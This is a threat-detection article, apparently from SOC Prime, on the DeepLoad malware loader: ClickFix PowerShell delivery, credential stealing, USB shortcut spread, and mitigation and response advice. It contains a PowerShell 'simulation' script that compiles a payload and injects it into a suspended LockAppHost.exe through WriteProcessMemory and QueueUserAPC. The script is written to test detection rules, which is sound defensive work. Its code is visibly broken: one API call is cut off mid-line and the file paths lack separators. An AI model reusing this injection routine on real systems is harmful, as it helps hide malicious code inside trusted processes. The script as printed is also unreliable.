SOC Prime Bias: Medium

25 May 2026 16:34 UTC

DeepLoad Malware Explained: ClickFix Delivery and Credential Theft

Author Photo
SOC Prime Team linkedin icon Follow
DeepLoad Malware Explained: ClickFix Delivery and Credential Theft
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

DeepLoad is a fileless malware loader first observed in March 2026 that spreads through a social-engineering tactic known as ClickFix, which persuades users to run a malicious PowerShell command. Once executed, the loader decrypts its payload in memory and injects it into trusted Windows processes through asynchronous procedure calls. It then deploys a credential stealer named filemanager.exe along with a malicious browser extension to steal saved passwords and log keystrokes. The malware can also spread through USB drives by dropping numerous shortcut files that restart the infection chain on another system.

Investigation

The research outlines the initial command used to retrieve the PowerShell loader from a remote server, the obfuscation techniques applied throughout execution, and the APC-based process injection into binaries such as LockAppHost.exe. It also describes the two separate credential-theft components and the USB-based lateral movement method that uses .lnk files disguised as common software installers. The report further references Picus simulation modules that can be used to test defenses against this behavior.

Mitigation

Defenders should block execution of untrusted PowerShell commands, monitor for suspicious scheduled task creation and abnormal use of mshta.exe, and enforce strict execution controls for PowerShell scripts. Detection of APC-based injection, monitoring for suspicious .lnk files on removable media, and limiting browser credential storage can all help reduce impact. Endpoint protection that can inspect in-memory decryption and injection behavior is also recommended.

Response

If DeepLoad activity is detected, isolate the affected endpoint immediately, terminate suspicious processes such as filemanager.exe and any trusted binaries showing signs of injection, and remove any scheduled tasks created by the malware. Reset credentials for compromised accounts, scan removable media for malicious shortcut files, and perform forensic analysis to identify any persistence mechanisms. Detection rules should also be updated to cover the observed command-line patterns and injection techniques.

"graph TB %% Class Definitions classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef file fill:#ccffcc classDef malware fill:#ff99cc classDef process fill:#ccccff classDef shortcut fill:#ffff99 classDef extension fill:#ffeb99 %% Nodes action_user_execution["<b>Action</b> – <b>T1204.004 User Execution: Malicious Copy and Paste</b><br/>Victim runs PowerShell command pasted from fake ClickFix prompt."] class action_user_execution action tool_powershell["<b>Tool</b> – <b>Name</b>: PowerShell<br/><b>Description</b>: Windows scripting engine used to download and execute payload.<br/><b>Technique</b>: T1059.001"] class tool_powershell tool file_loader["<b>File</b> – <b>Name</b>: PowerShell loader script<br/><b>Content</b>: Dummy variables, XORu2011encrypted shellcode, dynamic API resolution."] class file_loader file action_obfuscation["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b><br/>Uses dummy variables, XOR encryption, dynamic API resolution."] class action_obfuscation action action_reflective_loading["<b>Action</b> – <b>T1620 Reflective Code Loading</b><br/>Decrypts shellcode and loads it directly in memory."] class action_reflective_loading action malware_reflective_shellcode["<b>Malware</b> – <b>Name</b>: Inu2011memory shellcode<br/><b>Behavior</b>: Executes after reflective load."] class malware_reflective_shellcode malware shortcut_mod["<b>Shortcut</b> – <b>T1547.009 Shortcut Modification</b><br/>Over 40 .lnk files written to USB, disguised as installers."] class shortcut_mod shortcut action_lnk_icon_smuggling["<b>Action</b> – <b>T1027.012 LNK Icon Smuggling</b><br/>Icons embed malicious payloads in shortcut files."] class action_lnk_icon_smuggling action action_taint_shared["<b>Action</b> – <b>T1080 Taint Shared Content</b><br/>USB shortcuts spread to other machines when the drive is used."] class action_taint_shared action process_lockapp["<b>Process</b> – <b>Name</b>: LockAppHost.exe"] class process_lockapp process process_makecab["<b>Process</b> – <b>Name</b>: makecab.exe"] class process_makecab process process_magnify["<b>Process</b> – <b>Name</b>: Magnify.exe"] class process_magnify process action_process_injection["<b>Action</b> – <b>T1055 Process Injection / T1055.012 Process Hollowing</b><br/>Loader injects shellcode into trusted processes via APC."] class action_process_injection action extension_browser["<b>Extension</b> – <b>T1176 Software Extensions</b><br/>Malicious browser extension installed to capture credentials and cookies."] class extension_browser extension file_stealer["<b>File</b> – <b>Name</b>: filemanager.exe<br/><b>Technique</b>: Credential dumping from browsers and password managers."] class file_stealer file action_cred_browser["<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b><br/>Extracts saved passwords."] class action_cred_browser action action_cred_manager["<b>Action</b> – <b>T1555.005 Credentials from Password Managers</b><br/>Extracts stored passwords."] class action_cred_manager action action_cookie_steal["<b>Action</b> – <b>T1539 Steal Web Session Cookie / T1185 Browser Session Hijacking</b><br/>Captures session cookies via extension."] class action_cookie_steal action %% Connections action_user_execution –>|executes| tool_powershell tool_powershell –>|runs| file_loader file_loader –>|contains| action_obfuscation action_obfuscation –>|enables| action_reflective_loading action_reflective_loading –>|loads| malware_reflective_shellcode malware_reflective_shellcode –>|injects| action_process_injection action_process_injection –>|targets| process_lockapp action_process_injection –>|targets| process_makecab action_process_injection –>|targets| process_magnify action_user_execution –>|creates| shortcut_mod shortcut_mod –>|uses| action_lnk_icon_smuggling shortcut_mod –>|propagates via| action_taint_shared file_stealer –>|drops| extension_browser file_stealer –>|extracts| action_cred_browser file_stealer –>|extracts| action_cred_manager extension_browser –>|captures| action_cred_browser extension_browser –>|captures| action_cred_manager extension_browser –>|steals| action_cookie_steal "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    The attacker has delivered a malicious PowerShell script (the “loader”) that runs under the context of the logged‑in user (User Execution – T1204). The loader performs the following steps:

    1. Stage the payload – writes a compiled C binary (the “payload”) to %TEMP%.
    2. Create a suspended instance of a trusted process (LockAppHost.exe) using CreateProcessA with the CREATE_SUSPENDED flag.
    3. Inject the payload into the suspended process by calling WriteProcessMemory to copy the binary into the target’s address space.
    4. Queue an APC (QueueUserAPC) that points to the payload’s entry point, causing the payload to execute when the target thread resumes.
    5. Resume the thread, completing the injection.

    This exact sequence generates a single process‑creation event for LockAppHost.exe whose Sysmon CallTrace field contains the three injection‑related API calls, satisfying the Sigma rule.

  • Regression Test Script:

    # DeepLoad APC‑Based Injection Simulation (PowerShell + C# in‑memory compilation)
    # --------------------------------------------------------------
    # 1. Compile a minimal C payload (MessageBox) to a temporary EXE
    $payloadSource = @"
    #include <windows.h>
    int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
        MessageBoxA(NULL, "Injected by DeepLoad", "Success", MB_OK);
        return 0;
    }
    "@
    
    $tempDir = "$env:TEMPDeepLoadDemo"
    New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
    $cFile = "$tempDirpayload.c"
    $exeFile = "$tempDirpayload.exe"
    $payloadSource | Set-Content -Path $cFile -Encoding ASCII
    
    # Use Visual C++ compiler if available; fallback to PowerShell's Add-Type (creates a DLL, not EXE)
    if (Get-Command cl.exe -ErrorAction SilentlyContinue) {
        & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile
    } else {
        Write-Error "C compiler not found – manual compile required."
        exit 1
    }
    
    # 2. Prepare injection
    $targetPath = "C:WindowsSystem32LockAppHost.exe"
    $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo
    $STARTUPINFO.FileName = $targetPath
    $STARTUPINFO.Arguments = ""
    $STARTUPINFO.RedirectStandardOutput = $false
    $STARTUPINFO.UseShellExecute = $false
    $proc = New-Object System.Diagnostics.Process
    $proc.StartInfo = $STARTUPINFO
    $proc.StartInfo.CreateNoWindow = $true
    $proc.StartInfo.Verb = "runas"  # ensure elevated if needed
    
    # Create suspended process
    $pInfo = New-Object System.Diagnostics.ProcessStartInfo
    $pInfo.FileName = $targetPath
    $pInfo.Arguments = ""
    $pInfo.UseShellExecute = $false
    $pInfo.CreateNoWindow = $true
    
    $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new()
    $procStartInfo.FileName = $targetPath
    $procStartInfo.Arguments = ""
    $procStartInfo.UseShellExecute = $false
    $procStartInfo.CreateNoWindow = $true
    
    # P/Invoke definitions
    $sig = @"
    using System;
    using System.Runtime.InteropServices;
    public class Native {
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
            uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern uint ResumeThread(IntPtr hThread);
        public const uint CREATE_SUSPENDED = 0x00000004;
        public const uint MEM_COMMIT = 0x1000;
        public const uint PAGE_EXECUTE_READWRITE = 0x40;
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    }
    "@
    
    Add-Type $sig
    
    # Initialize structures
    $si = New-Object Native+STARTUPINFO
    $pi = New-Object Native+PROCESS_INFORMATION
    $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si)
    
    # Create suspended LockAppHost
    $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero,
        $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $created) {
        Write-Error "CreateProcessA failed: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
        exit 1
    }
    
    # Read payload binary
    $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile)
    
    # Allocate memory in target
    $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length,
    
    if ($remoteAddr -eq [IntPtr]::Zero) {
        Write-Error "VirtualAllocEx failed."
        exit 1
    }
    
    # Write payload
    $bytesWritten = [UIntPtr]::Zero
    $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten)
    
    if (-not $writeOk) {
        Write-Error "WriteProcessMemory failed."
        exit 1
    }
    
    # Queue APC (pointing to payload entry point)
    $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero)
    
    # Resume thread to execute APC
    [Native]::ResumeThread($pi.hThread) | Out-Null
    
    Write-Host "Injection completed – payload should appear shortly."
  • Cleanup Commands:

    # Terminate injected LockAppHost instance (if still running)
    Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Remove temporary files
    Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"

Validation Results (to be filled after run)

  • Rule Fired: Yes / No
  • Number of Alerts Generated: ___
  • False Positive Check: Benign run produced no alerts (as confirmed by validation query).

Recommendations Summary

  1. Correlate Across Events – Add a secondary rule that watches for WriteProcessMemory or QueueUserAPC events occurring within a short time window of a LockAppHost.exe creation.
  2. Broaden Image Scope – Include other trusted binaries commonly abused for APC injection (e.g., svchost.exe, explorer.exe).
  3. Behavioral Enrichment – Flag processes that load unsigned DLLs or execute from %TEMP% after injection.
  4. Evasion Mitigation – Monitor for the same API calls split across multiple processes, which currently bypasses the single‑event condition.